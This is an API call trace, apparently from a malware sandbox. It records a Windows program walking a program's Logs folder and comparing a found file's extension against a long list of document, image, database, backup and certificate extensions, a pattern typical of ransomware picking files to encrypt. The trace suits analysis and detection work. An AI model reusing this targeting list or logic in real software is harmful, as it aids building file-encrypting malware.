	[0179.127] lstrlenW (lpString="Logs") returned 4
	[0179.127] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="Logs") returned -1
	[0179.127] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4094fb8
	[0179.128] lstrlenW (lpString="C:\\Program Files\\UNP\\Logs") returned 25
	[0179.128] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\Logs\\*", lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4c52ff94, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x22a71b51, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x22a71b51, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x76eb28
	[0179.132] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4c52ff94, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x22a71b51, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x22a71b51, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0179.132] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x2000, ftCreationTime.dwLowDateTime=0xcd3f87c1, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x22a71b51, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x22a71b51, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="UniversalNotificationPlatform.001.etl", cAlternateFileName="UN6414~1.ETL")) returned 1
	[0179.132] lstrlenW (lpString="UniversalNotificationPlatform.001.etl") returned 37
	[0179.132] lstrlenW (lpString=".1cd") returned 4
	[0179.132] lstrcmpiW (lpString1=".1cd", lpString2=".etl") returned -1
	[0179.132] lstrlenW (lpString=".3ds") returned 4
	[0179.132] lstrcmpiW (lpString1=".3ds", lpString2=".etl") returned -1
	[0179.132] lstrlenW (lpString=".3fr") returned 4
	[0179.132] lstrcmpiW (lpString1=".3fr", lpString2=".etl") returned -1
	[0179.132] lstrlenW (lpString=".3g2") returned 4
	[0179.132] lstrcmpiW (lpString1=".3g2", lpString2=".etl") returned -1
	[0179.133] lstrlenW (lpString=".3gp") returned 4
	[0179.133] lstrcmpiW (lpString1=".3gp", lpString2=".etl") returned -1
	[0179.133] lstrlenW (lpString=".7z") returned 3
	[0179.133] lstrcmpiW (lpString1=".7z", lpString2="etl") returned -1
	[0179.133] lstrlenW (lpString=".accda") returned 6
	[0179.133] lstrcmpiW (lpString1=".accda", lpString2="01.etl") returned -1
	[0179.133] lstrlenW (lpString=".accdb") returned 6
	[0179.133] lstrcmpiW (lpString1=".accdb", lpString2="01.etl") returned -1
	[0179.133] lstrlenW (lpString=".accdc") returned 6
	[0179.133] lstrcmpiW (lpString1=".accdc", lpString2="01.etl") returned -1
	[0179.133] lstrlenW (lpString=".accde") returned 6
	[0179.133] lstrcmpiW (lpString1=".accde", lpString2="01.etl") returned -1
	[0179.133] lstrlenW (lpString=".accdt") returned 6
	[0179.133] lstrcmpiW (lpString1=".accdt", lpString2="01.etl") returned -1
	[0179.133] lstrlenW (lpString=".accdw") returned 6
	[0179.133] lstrcmpiW (lpString1=".accdw", lpString2="01.etl") returned -1
	[0179.133] lstrlenW (lpString=".adb") returned 4
	[0179.133] lstrcmpiW (lpString1=".adb", lpString2=".etl") returned -1
	[0179.133] lstrlenW (lpString=".adp") returned 4
	[0179.133] lstrcmpiW (lpString1=".adp", lpString2=".etl") returned -1
	[0179.133] lstrlenW (lpString=".ai") returned 3
	[0179.134] lstrcmpiW (lpString1=".ai", lpString2="etl") returned -1
	[0179.134] lstrlenW (lpString=".ai3") returned 4
	[0179.134] lstrcmpiW (lpString1=".ai3", lpString2=".etl") returned -1
	[0179.134] lstrlenW (lpString=".ai4") returned 4
	[0179.134] lstrcmpiW (lpString1=".ai4", lpString2=".etl") returned -1
	[0179.134] lstrlenW (lpString=".ai5") returned 4
	[0179.134] lstrcmpiW (lpString1=".ai5", lpString2=".etl") returned -1
	[0179.134] lstrlenW (lpString=".ai6") returned 4
	[0179.134] lstrcmpiW (lpString1=".ai6", lpString2=".etl") returned -1
	[0179.134] lstrlenW (lpString=".ai7") returned 4
	[0179.134] lstrcmpiW (lpString1=".ai7", lpString2=".etl") returned -1
	[0179.134] lstrlenW (lpString=".ai8") returned 4
	[0179.134] lstrcmpiW (lpString1=".ai8", lpString2=".etl") returned -1
	[0179.134] lstrlenW (lpString=".anim") returned 5
	[0179.134] lstrcmpiW (lpString1=".anim", lpString2="1.etl") returned -1
	[0179.134] lstrlenW (lpString=".arw") returned 4
	[0179.134] lstrcmpiW (lpString1=".arw", lpString2=".etl") returned -1
	[0179.134] lstrlenW (lpString=".as") returned 3
	[0179.134] lstrcmpiW (lpString1=".as", lpString2="etl") returned -1
	[0179.134] lstrlenW (lpString=".asa") returned 4
	[0179.134] lstrcmpiW (lpString1=".asa", lpString2=".etl") returned -1
	[0179.134] lstrlenW (lpString=".asc") returned 4
	[0179.135] lstrcmpiW (lpString1=".asc", lpString2=".etl") returned -1
	[0179.135] lstrlenW (lpString=".ascx") returned 5
	[0179.135] lstrcmpiW (lpString1=".ascx", lpString2="1.etl") returned -1
	[0179.135] lstrlenW (lpString=".asm") returned 4
	[0179.135] lstrcmpiW (lpString1=".asm", lpString2=".etl") returned -1
	[0179.135] lstrlenW (lpString=".asmx") returned 5
	[0179.135] lstrcmpiW (lpString1=".asmx", lpString2="1.etl") returned -1
	[0179.135] lstrlenW (lpString=".asp") returned 4
	[0179.135] lstrcmpiW (lpString1=".asp", lpString2=".etl") returned -1
	[0179.135] lstrlenW (lpString=".aspx") returned 5
	[0179.135] lstrcmpiW (lpString1=".aspx", lpString2="1.etl") returned -1
	[0179.135] lstrlenW (lpString=".asr") returned 4
	[0179.135] lstrcmpiW (lpString1=".asr", lpString2=".etl") returned -1
	[0179.135] lstrlenW (lpString=".asx") returned 4
	[0179.135] lstrcmpiW (lpString1=".asx", lpString2=".etl") returned -1
	[0179.135] lstrlenW (lpString=".avi") returned 4
	[0179.135] lstrcmpiW (lpString1=".avi", lpString2=".etl") returned -1
	[0179.135] lstrlenW (lpString=".avs") returned 4
	[0179.135] lstrcmpiW (lpString1=".avs", lpString2=".etl") returned -1
	[0179.135] lstrlenW (lpString=".backup") returned 7
	[0179.135] lstrcmpiW (lpString1=".backup", lpString2="001.etl") returned -1
	[0179.136] lstrlenW (lpString=".bak") returned 4
	[0179.136] lstrcmpiW (lpString1=".bak", lpString2=".etl") returned -1
	[0179.136] lstrlenW (lpString=".bay") returned 4
	[0179.136] lstrcmpiW (lpString1=".bay", lpString2=".etl") returned -1
	[0179.136] lstrlenW (lpString=".bd") returned 3
	[0179.136] lstrcmpiW (lpString1=".bd", lpString2="etl") returned -1
	[0179.136] lstrlenW (lpString=".bin") returned 4
	[0179.136] lstrcmpiW (lpString1=".bin", lpString2=".etl") returned -1
	[0179.136] lstrlenW (lpString=".bmp") returned 4
	[0179.136] lstrcmpiW (lpString1=".bmp", lpString2=".etl") returned -1
	[0179.136] lstrlenW (lpString=".bz2") returned 4
	[0179.136] lstrcmpiW (lpString1=".bz2", lpString2=".etl") returned -1
	[0179.136] lstrlenW (lpString=".c") returned 2
	[0179.136] lstrcmpiW (lpString1=".c", lpString2="tl") returned -1
	[0179.136] lstrlenW (lpString=".cdr") returned 4
	[0179.136] lstrcmpiW (lpString1=".cdr", lpString2=".etl") returned -1
	[0179.136] lstrlenW (lpString=".cer") returned 4
	[0179.136] lstrcmpiW (lpString1=".cer", lpString2=".etl") returned -1
	[0179.136] lstrlenW (lpString=".cf") returned 3
	[0179.136] lstrcmpiW (lpString1=".cf", lpString2="etl") returned -1
	[0179.136] lstrlenW (lpString=".cfc") returned 4
	[0179.137] lstrcmpiW (lpString1=".cfc", lpString2=".etl") returned -1
	[0179.137] lstrlenW (lpString=".cfm") returned 4
	[0179.137] lstrcmpiW (lpString1=".cfm", lpString2=".etl") returned -1
	[0179.137] lstrlenW (lpString=".cfml") returned 5
	[0179.137] lstrcmpiW (lpString1=".cfml", lpString2="1.etl") returned -1
	[0179.137] lstrlenW (lpString=".cfu") returned 4
	[0179.137] lstrcmpiW (lpString1=".cfu", lpString2=".etl") returned -1
	[0179.137] lstrlenW (lpString=".chm") returned 4
	[0179.137] lstrcmpiW (lpString1=".chm", lpString2=".etl") returned -1
	[0179.137] lstrlenW (lpString=".cin") returned 4
	[0179.137] lstrcmpiW (lpString1=".cin", lpString2=".etl") returned -1
	[0179.137] lstrlenW (lpString=".class") returned 6
	[0179.137] lstrcmpiW (lpString1=".class", lpString2="01.etl") returned -1
	[0179.137] lstrlenW (lpString=".clx") returned 4
	[0179.137] lstrcmpiW (lpString1=".clx", lpString2=".etl") returned -1
	[0179.138] lstrlenW (lpString=".config") returned 7
	[0179.138] lstrcmpiW (lpString1=".config", lpString2="001.etl") returned -1
	[0179.138] lstrlenW (lpString=".cpp") returned 4
	[0179.138] lstrcmpiW (lpString1=".cpp", lpString2=".etl") returned -1
	[0179.138] lstrlenW (lpString=".cr2") returned 4
	[0179.138] lstrcmpiW (lpString1=".cr2", lpString2=".etl") returned -1
	[0179.138] lstrlenW (lpString=".crt") returned 4
	[0179.138] lstrcmpiW (lpString1=".crt", lpString2=".etl") returned -1
	[0179.138] lstrlenW (lpString=".crw") returned 4
	[0179.138] lstrcmpiW (lpString1=".crw", lpString2=".etl") returned -1
	[0179.138] lstrlenW (lpString=".cs") returned 3
	[0179.138] lstrcmpiW (lpString1=".cs", lpString2="etl") returned -1
	[0179.138] lstrlenW (lpString=".css") returned 4
	[0179.138] lstrcmpiW (lpString1=".css", lpString2=".etl") returned -1
	[0179.138] lstrlenW (lpString=".csv") returned 4
	[0179.138] lstrcmpiW (lpString1=".csv", lpString2=".etl") returned -1
	[0179.138] lstrlenW (lpString=".cub") returned 4
	[0179.138] lstrcmpiW (lpString1=".cub", lpString2=".etl") returned -1
	[0179.138] lstrlenW (lpString=".dae") returned 4
	[0179.138] lstrcmpiW (lpString1=".dae", lpString2=".etl") returned -1
	[0179.138] lstrlenW (lpString=".dat") returned 4
	[0179.139] lstrcmpiW (lpString1=".dat", lpString2=".etl") returned -1
	[0179.139] lstrlenW (lpString=".db") returned 3
	[0179.139] lstrcmpiW (lpString1=".db", lpString2="etl") returned -1
	[0179.139] lstrlenW (lpString=".dbf") returned 4
	[0179.139] lstrcmpiW (lpString1=".dbf", lpString2=".etl") returned -1
	[0179.139] lstrlenW (lpString=".dbx") returned 4
	[0179.139] lstrcmpiW (lpString1=".dbx", lpString2=".etl") returned -1
	[0179.139] lstrlenW (lpString=".dc3") returned 4
	[0179.139] lstrcmpiW (lpString1=".dc3", lpString2=".etl") returned -1
	[0179.139] lstrlenW (lpString=".dcm") returned 4
	[0179.139] lstrcmpiW (lpString1=".dcm", lpString2=".etl") returned -1
	[0179.139] lstrlenW (lpString=".dcr") returned 4
	[0179.139] lstrcmpiW (lpString1=".dcr", lpString2=".etl") returned -1
	[0179.139] lstrlenW (lpString=".der") returned 4
	[0179.139] lstrcmpiW (lpString1=".der", lpString2=".etl") returned -1
	[0179.139] lstrlenW (lpString=".dib") returned 4
	[0179.139] lstrcmpiW (lpString1=".dib", lpString2=".etl") returned -1
	[0179.139] lstrlenW (lpString=".dic") returned 4
	[0179.139] lstrcmpiW (lpString1=".dic", lpString2=".etl") returned -1
	[0179.139] lstrlenW (lpString=".dif") returned 4
	[0179.139] lstrcmpiW (lpString1=".dif", lpString2=".etl") returned -1
	[0179.140] lstrlenW (lpString=".divx") returned 5
	[0179.140] lstrcmpiW (lpString1=".divx", lpString2="1.etl") returned -1
	[0179.140] lstrlenW (lpString=".djvu") returned 5
	[0179.140] lstrcmpiW (lpString1=".djvu", lpString2="1.etl") returned -1
	[0179.140] lstrlenW (lpString=".dng") returned 4
	[0179.140] lstrcmpiW (lpString1=".dng", lpString2=".etl") returned -1
	[0179.140] lstrlenW (lpString=".doc") returned 4
	[0179.140] lstrcmpiW (lpString1=".doc", lpString2=".etl") returned -1
	[0179.140] lstrlenW (lpString=".docm") returned 5
	[0179.140] lstrcmpiW (lpString1=".docm", lpString2="1.etl") returned -1
	[0179.140] lstrlenW (lpString=".docx") returned 5
	[0179.140] lstrcmpiW (lpString1=".docx", lpString2="1.etl") returned -1
	[0179.140] lstrlenW (lpString=".dot") returned 4
	[0179.140] lstrcmpiW (lpString1=".dot", lpString2=".etl") returned -1
	[0179.140] lstrlenW (lpString=".dotm") returned 5
	[0179.141] lstrcmpiW (lpString1=".dotm", lpString2="1.etl") returned -1
	[0179.141] lstrlenW (lpString=".dotx") returned 5
	[0179.141] lstrcmpiW (lpString1=".dotx", lpString2="1.etl") returned -1
	[0179.141] lstrlenW (lpString=".dpx") returned 4
	[0179.141] lstrcmpiW (lpString1=".dpx", lpString2=".etl") returned -1
	[0179.141] lstrlenW (lpString=".dqy") returned 4
	[0179.141] lstrcmpiW (lpString1=".dqy", lpString2=".etl") returned -1
	[0179.141] lstrlenW (lpString=".dsn") returned 4
	[0179.141] lstrcmpiW (lpString1=".dsn", lpString2=".etl") returned -1
	[0179.141] lstrlenW (lpString=".dt") returned 3
	[0179.141] lstrcmpiW (lpString1=".dt", lpString2="etl") returned -1
	[0179.141] lstrlenW (lpString=".dtd") returned 4
	[0179.141] lstrcmpiW (lpString1=".dtd", lpString2=".etl") returned -1
	[0179.141] lstrlenW (lpString=".dwg") returned 4
	[0179.141] lstrcmpiW (lpString1=".dwg", lpString2=".etl") returned -1
	[0179.141] lstrlenW (lpString=".dwt") returned 4
	[0179.141] lstrcmpiW (lpString1=".dwt", lpString2=".etl") returned -1
	[0179.141] lstrlenW (lpString=".dx") returned 3
	[0179.141] lstrcmpiW (lpString1=".dx", lpString2="etl") returned -1
	[0179.141] lstrlenW (lpString=".dxf") returned 4
	[0179.141] lstrcmpiW (lpString1=".dxf", lpString2=".etl") returned -1
	[0179.141] lstrlenW (lpString=".edml") returned 5
	[0179.141] lstrcmpiW (lpString1=".edml", lpString2="1.etl") returned -1
	[0179.141] lstrlenW (lpString=".efd") returned 4
	[0179.142] lstrcmpiW (lpString1=".efd", lpString2=".etl") returned -1
	[0179.142] lstrlenW (lpString=".elf") returned 4
	[0179.142] lstrcmpiW (lpString1=".elf", lpString2=".etl") returned -1
	[0179.142] lstrlenW (lpString=".emf") returned 4
	[0179.142] lstrcmpiW (lpString1=".emf", lpString2=".etl") returned -1
	[0179.142] lstrlenW (lpString=".emz") returned 4
	[0179.142] lstrcmpiW (lpString1=".emz", lpString2=".etl") returned -1
	[0179.142] lstrlenW (lpString=".epf") returned 4
	[0179.142] lstrcmpiW (lpString1=".epf", lpString2=".etl") returned -1
	[0179.142] lstrlenW (lpString=".eps") returned 4
	[0179.142] lstrcmpiW (lpString1=".eps", lpString2=".etl") returned -1
	[0179.142] lstrlenW (lpString=".epsf") returned 5
	[0179.142] lstrcmpiW (lpString1=".epsf", lpString2="1.etl") returned -1
	[0179.142] lstrlenW (lpString=".epsp") returned 5
	[0179.142] lstrcmpiW (lpString1=".epsp", lpString2="1.etl") returned -1
	[0179.142] lstrlenW (lpString=".erf") returned 4
	[0179.142] lstrcmpiW (lpString1=".erf", lpString2=".etl") returned -1
	[0179.142] lstrlenW (lpString=".exr") returned 4
	[0179.142] lstrcmpiW (lpString1=".exr", lpString2=".etl") returned 1
	[0179.142] lstrlenW (lpString=".f4v") returned 4
	[0179.142] lstrcmpiW (lpString1=".f4v", lpString2=".etl") returned 1
	[0179.142] lstrlenW (lpString=".fido") returned 5
	[0179.142] lstrcmpiW (lpString1=".fido", lpString2="1.etl") returned -1
	[0179.142] lstrlenW (lpString=".flm") returned 4
	[0179.142] lstrcmpiW (lpString1=".flm", lpString2=".etl") returned 1
	[0179.143] lstrlenW (lpString=".flv") returned 4
	[0179.143] lstrcmpiW (lpString1=".flv", lpString2=".etl") returned 1
	[0179.143] lstrlenW (lpString=".frm") returned 4
	[0179.143] lstrcmpiW (lpString1=".frm", lpString2=".etl") returned 1
	[0179.143] lstrlenW (lpString=".fxg") returned 4
	[0179.143] lstrcmpiW (lpString1=".fxg", lpString2=".etl") returned 1
	[0179.143] lstrlenW (lpString=".geo") returned 4
	[0179.143] lstrcmpiW (lpString1=".geo", lpString2=".etl") returned 1
	[0179.143] lstrlenW (lpString=".gif") returned 4
	[0179.143] lstrcmpiW (lpString1=".gif", lpString2=".etl") returned 1
	[0179.143] lstrlenW (lpString=".grs") returned 4
	[0179.143] lstrcmpiW (lpString1=".grs", lpString2=".etl") returned 1
	[0179.143] lstrlenW (lpString=".gz") returned 3
	[0179.143] lstrcmpiW (lpString1=".gz", lpString2="etl") returned -1
	[0179.143] lstrlenW (lpString=".h") returned 2
	[0179.143] lstrcmpiW (lpString1=".h", lpString2="tl") returned -1
	[0179.143] lstrlenW (lpString=".hdr") returned 4
	[0179.143] lstrcmpiW (lpString1=".hdr", lpString2=".etl") returned 1
	[0179.143] lstrlenW (lpString=".hpp") returned 4
	[0179.144] lstrcmpiW (lpString1=".hpp", lpString2=".etl") returned 1
	[0179.144] lstrlenW (lpString=".hta") returned 4
	[0179.144] lstrcmpiW (lpString1=".hta", lpString2=".etl") returned 1
	[0179.144] lstrlenW (lpString=".htc") returned 4
	[0179.144] lstrcmpiW (lpString1=".htc", lpString2=".etl") returned 1
	[0179.144] lstrlenW (lpString=".htm") returned 4
	[0179.144] lstrcmpiW (lpString1=".htm", lpString2=".etl") returned 1
	[0179.144] lstrlenW (lpString=".html") returned 5
	[0179.144] lstrcmpiW (lpString1=".html", lpString2="1.etl") returned -1
	[0179.144] lstrlenW (lpString=".icb") returned 4
	[0179.144] lstrcmpiW (lpString1=".icb", lpString2=".etl") returned 1
	[0179.144] lstrlenW (lpString=".ics") returned 4
	[0179.144] lstrcmpiW (lpString1=".ics", lpString2=".etl") returned 1
	[0179.144] lstrlenW (lpString=".iff") returned 4
	[0179.144] lstrcmpiW (lpString1=".iff", lpString2=".etl") returned 1
	[0179.144] lstrlenW (lpString=".inc") returned 4
	[0179.144] lstrcmpiW (lpString1=".inc", lpString2=".etl") returned 1
	[0179.144] lstrlenW (lpString=".indd") returned 5
	[0179.144] lstrcmpiW (lpString1=".indd", lpString2="1.etl") returned -1
	[0179.144] lstrlenW (lpString=".ini") returned 4
	[0179.145] lstrcmpiW (lpString1=".ini", lpString2=".etl") returned 1
	[0179.145] lstrlenW (lpString=".iqy") returned 4
	[0179.145] lstrcmpiW (lpString1=".iqy", lpString2=".etl") returned 1
	[0179.145] lstrlenW (lpString=".j2c") returned 4
	[0179.145] lstrcmpiW (lpString1=".j2c", lpString2=".etl") returned 1
	[0179.145] lstrlenW (lpString=".j2k") returned 4
	[0179.145] lstrcmpiW (lpString1=".j2k", lpString2=".etl") returned 1
	[0179.145] lstrlenW (lpString=".java") returned 5
	[0179.145] lstrcmpiW (lpString1=".java", lpString2="1.etl") returned -1
	[0179.145] lstrlenW (lpString=".jp2") returned 4
	[0179.145] lstrcmpiW (lpString1=".jp2", lpString2=".etl") returned 1
	[0179.145] lstrlenW (lpString=".jpc") returned 4
	[0179.145] lstrcmpiW (lpString1=".jpc", lpString2=".etl") returned 1
	[0179.145] lstrlenW (lpString=".jpe") returned 4
	[0179.145] lstrcmpiW (lpString1=".jpe", lpString2=".etl") returned 1
	[0179.145] lstrlenW (lpString=".jpeg") returned 5
	[0179.145] lstrcmpiW (lpString1=".jpeg", lpString2="1.etl") returned -1
	[0179.145] lstrlenW (lpString=".jpf") returned 4
	[0179.145] lstrcmpiW (lpString1=".jpf", lpString2=".etl") returned 1
	[0179.145] lstrlenW (lpString=".jpg") returned 4
	[0179.145] lstrcmpiW (lpString1=".jpg", lpString2=".etl") returned 1
	[0179.146] lstrlenW (lpString=".jpx") returned 4
	[0179.146] lstrcmpiW (lpString1=".jpx", lpString2=".etl") returned 1
	[0179.146] lstrlenW (lpString=".js") returned 3
	[0179.146] lstrcmpiW (lpString1=".js", lpString2="etl") returned -1
	[0179.146] lstrlenW (lpString=".jsf") returned 4
	[0179.146] lstrcmpiW (lpString1=".jsf", lpString2=".etl") returned 1
	[0179.146] lstrlenW (lpString=".json") returned 5
	[0179.146] lstrcmpiW (lpString1=".json", lpString2="1.etl") returned -1
	[0179.146] lstrlenW (lpString=".jsp") returned 4
	[0179.146] lstrcmpiW (lpString1=".jsp", lpString2=".etl") returned 1
	[0179.146] lstrlenW (lpString=".kdc") returned 4
	[0179.146] lstrcmpiW (lpString1=".kdc", lpString2=".etl") returned 1
	[0179.146] lstrlenW (lpString=".kmz") returned 4
	[0179.146] lstrcmpiW (lpString1=".kmz", lpString2=".etl") returned 1
	[0179.146] lstrlenW (lpString=".kwm") returned 4
	[0179.146] lstrcmpiW (lpString1=".kwm", lpString2=".etl") returned 1
	[0179.146] lstrlenW (lpString=".lasso") returned 6
	[0179.146] lstrcmpiW (lpString1=".lasso", lpString2="01.etl") returned -1
	[0179.146] lstrlenW (lpString=".lbi") returned 4
	[0179.146] lstrcmpiW (lpString1=".lbi", lpString2=".etl") returned 1
	[0179.147] lstrlenW (lpString=".lgf") returned 4
	[0179.147] lstrcmpiW (lpString1=".lgf", lpString2=".etl") returned 1
	[0179.147] lstrlenW (lpString=".lgp") returned 4
	[0179.147] lstrcmpiW (lpString1=".lgp", lpString2=".etl") returned 1
	[0179.147] lstrlenW (lpString=".log") returned 4
	[0179.147] lstrcmpiW (lpString1=".log", lpString2=".etl") returned 1
	[0179.147] lstrlenW (lpString=".m1v") returned 4
	[0179.147] lstrcmpiW (lpString1=".m1v", lpString2=".etl") returned 1
	[0179.147] lstrlenW (lpString=".m4a") returned 4
	[0179.147] lstrcmpiW (lpString1=".m4a", lpString2=".etl") returned 1
	[0179.147] lstrlenW (lpString=".m4v") returned 4
	[0179.147] lstrcmpiW (lpString1=".m4v", lpString2=".etl") returned 1
	[0179.147] lstrlenW (lpString=".max") returned 4
	[0179.147] lstrcmpiW (lpString1=".max", lpString2=".etl") returned 1
	[0179.282] lstrlenW (lpString=".md") returned 3
	[0179.282] lstrcmpiW (lpString1=".md", lpString2="etl") returned -1
	[0179.282] lstrlenW (lpString=".mda") returned 4
	[0179.282] lstrcmpiW (lpString1=".mda", lpString2=".etl") returned 1
	[0179.282] lstrlenW (lpString=".mdb") returned 4
	[0179.282] lstrcmpiW (lpString1=".mdb", lpString2=".etl") returned 1
	[0179.282] lstrlenW (lpString=".mde") returned 4
	[0179.282] lstrcmpiW (lpString1=".mde", lpString2=".etl") returned 1
	[0179.282] lstrlenW (lpString=".mdf") returned 4
	[0179.283] lstrcmpiW (lpString1=".mdf", lpString2=".etl") returned 1
	[0179.283] lstrlenW (lpString=".mdw") returned 4
	[0179.283] lstrcmpiW (lpString1=".mdw", lpString2=".etl") returned 1
	[0179.283] lstrlenW (lpString=".mef") returned 4
	[0179.283] lstrcmpiW (lpString1=".mef", lpString2=".etl") returned 1
	[0179.283] lstrlenW (lpString=".mft") returned 4
	[0179.283] lstrcmpiW (lpString1=".mft", lpString2=".etl") returned 1
	[0179.283] lstrlenW (lpString=".mfw") returned 4
	[0179.283] lstrcmpiW (lpString1=".mfw", lpString2=".etl") returned 1
	[0179.283] lstrlenW (lpString=".mht") returned 4
	[0179.283] lstrcmpiW (lpString1=".mht", lpString2=".etl") returned 1
	[0179.283] lstrlenW (lpString=".mhtml") returned 6
	[0179.283] lstrcmpiW (lpString1=".mhtml", lpString2="01.etl") returned -1
	[0179.283] lstrlenW (lpString=".mka") returned 4
	[0179.283] lstrcmpiW (lpString1=".mka", lpString2=".etl") returned 1
	[0179.283] lstrlenW (lpString=".mkidx") returned 6
	[0179.283] lstrcmpiW (lpString1=".mkidx", lpString2="01.etl") returned -1
	[0179.283] lstrlenW (lpString=".mkv") returned 4
	[0179.283] lstrcmpiW (lpString1=".mkv", lpString2=".etl") returned 1
	[0179.283] lstrlenW (lpString=".mos") returned 4
	[0179.283] lstrcmpiW (lpString1=".mos", lpString2=".etl") returned 1
	[0179.284] lstrlenW (lpString=".mov") returned 4
	[0179.284] lstrcmpiW (lpString1=".mov", lpString2=".etl") returned 1
	[0179.284] lstrlenW (lpString=".mp3") returned 4
	[0179.284] lstrcmpiW (lpString1=".mp3", lpString2=".etl") returned 1
	[0179.284] lstrlenW (lpString=".mp4") returned 4
	[0179.284] lstrcmpiW (lpString1=".mp4", lpString2=".etl") returned 1
	[0179.284] lstrlenW (lpString=".mpeg") returned 5
	[0179.284] lstrcmpiW (lpString1=".mpeg", lpString2="1.etl") returned -1
	[0179.284] lstrlenW (lpString=".mpg") returned 4
	[0179.284] lstrcmpiW (lpString1=".mpg", lpString2=".etl") returned 1
	[0179.284] lstrlenW (lpString=".mpv") returned 4
	[0179.284] lstrcmpiW (lpString1=".mpv", lpString2=".etl") returned 1
	[0179.284] lstrlenW (lpString=".mrw") returned 4
	[0179.284] lstrcmpiW (lpString1=".mrw", lpString2=".etl") returned 1
	[0179.284] lstrlenW (lpString=".msg") returned 4
	[0179.284] lstrcmpiW (lpString1=".msg", lpString2=".etl") returned 1
	[0179.284] lstrlenW (lpString=".mxl") returned 4
	[0179.284] lstrcmpiW (lpString1=".mxl", lpString2=".etl") returned 1
	[0179.284] lstrlenW (lpString=".myd") returned 4
	[0179.284] lstrcmpiW (lpString1=".myd", lpString2=".etl") returned 1
	[0179.284] lstrlenW (lpString=".myi") returned 4
	[0179.284] lstrcmpiW (lpString1=".myi", lpString2=".etl") returned 1
	[0179.284] lstrlenW (lpString=".nef") returned 4
	[0179.284] lstrcmpiW (lpString1=".nef", lpString2=".etl") returned 1
	[0179.284] lstrlenW (lpString=".nrw") returned 4
	[0179.284] lstrcmpiW (lpString1=".nrw", lpString2=".etl") returned 1
	[0179.284] lstrlenW (lpString=".obj") returned 4
	[0179.284] lstrcmpiW (lpString1=".obj", lpString2=".etl") returned 1
	[0179.284] lstrlenW (lpString=".odb") returned 4
	[0179.284] lstrcmpiW (lpString1=".odb", lpString2=".etl") returned 1
	[0179.285] lstrlenW (lpString=".odc") returned 4
	[0179.285] lstrcmpiW (lpString1=".odc", lpString2=".etl") returned 1
	[0179.285] lstrlenW (lpString=".odm") returned 4
	[0179.285] lstrcmpiW (lpString1=".odm", lpString2=".etl") returned 1
	[0179.285] lstrlenW (lpString=".odp") returned 4
	[0179.285] lstrcmpiW (lpString1=".odp", lpString2=".etl") returned 1
	[0179.285] lstrlenW (lpString=".ods") returned 4
	[0179.285] lstrcmpiW (lpString1=".ods", lpString2=".etl") returned 1
	[0179.285] lstrlenW (lpString=".oft") returned 4
	[0179.285] lstrcmpiW (lpString1=".oft", lpString2=".etl") returned 1
	[0179.285] lstrlenW (lpString=".one") returned 4
	[0179.285] lstrcmpiW (lpString1=".one", lpString2=".etl") returned 1
	[0179.285] lstrlenW (lpString=".onepkg") returned 7
	[0179.285] lstrcmpiW (lpString1=".onepkg", lpString2="001.etl") returned -1
	[0179.285] lstrlenW (lpString=".onetoc2") returned 8
	[0179.285] lstrcmpiW (lpString1=".onetoc2", lpString2=".001.etl") returned 1
	[0179.285] lstrlenW (lpString=".opt") returned 4
	[0179.285] lstrcmpiW (lpString1=".opt", lpString2=".etl") returned 1
	[0179.285] lstrlenW (lpString=".oqy") returned 4
	[0179.285] lstrcmpiW (lpString1=".oqy", lpString2=".etl") returned 1
	[0179.285] lstrlenW (lpString=".orf") returned 4
	[0179.285] lstrcmpiW (lpString1=".orf", lpString2=".etl") returned 1
	[0179.285] lstrlenW (lpString=".p12") returned 4
	[0179.285] lstrcmpiW (lpString1=".p12", lpString2=".etl") returned 1
	[0179.285] lstrlenW (lpString=".p7b") returned 4
	[0179.285] lstrcmpiW (lpString1=".p7b", lpString2=".etl") returned 1
	[0179.286] lstrlenW (lpString=".p7c") returned 4
	[0179.286] lstrcmpiW (lpString1=".p7c", lpString2=".etl") returned 1
	[0179.286] lstrlenW (lpString=".pam") returned 4
	[0179.286] lstrcmpiW (lpString1=".pam", lpString2=".etl") returned 1
	[0179.286] lstrlenW (lpString=".pbm") returned 4
	[0179.286] lstrcmpiW (lpString1=".pbm", lpString2=".etl") returned 1
	[0179.286] lstrlenW (lpString=".pct") returned 4
	[0179.286] lstrcmpiW (lpString1=".pct", lpString2=".etl") returned 1
	[0179.286] lstrlenW (lpString=".pcx") returned 4
	[0179.286] lstrcmpiW (lpString1=".pcx", lpString2=".etl") returned 1
	[0179.286] lstrlenW (lpString=".pdd") returned 4
	[0179.286] lstrcmpiW (lpString1=".pdd", lpString2=".etl") returned 1
	[0179.286] lstrlenW (lpString=".pdf") returned 4
	[0179.286] lstrcmpiW (lpString1=".pdf", lpString2=".etl") returned 1
	[0179.286] lstrlenW (lpString=".pdp") returned 4
	[0179.286] lstrcmpiW (lpString1=".pdp", lpString2=".etl") returned 1
	[0179.286] lstrlenW (lpString=".pef") returned 4
	[0179.286] lstrcmpiW (lpString1=".pef", lpString2=".etl") returned 1
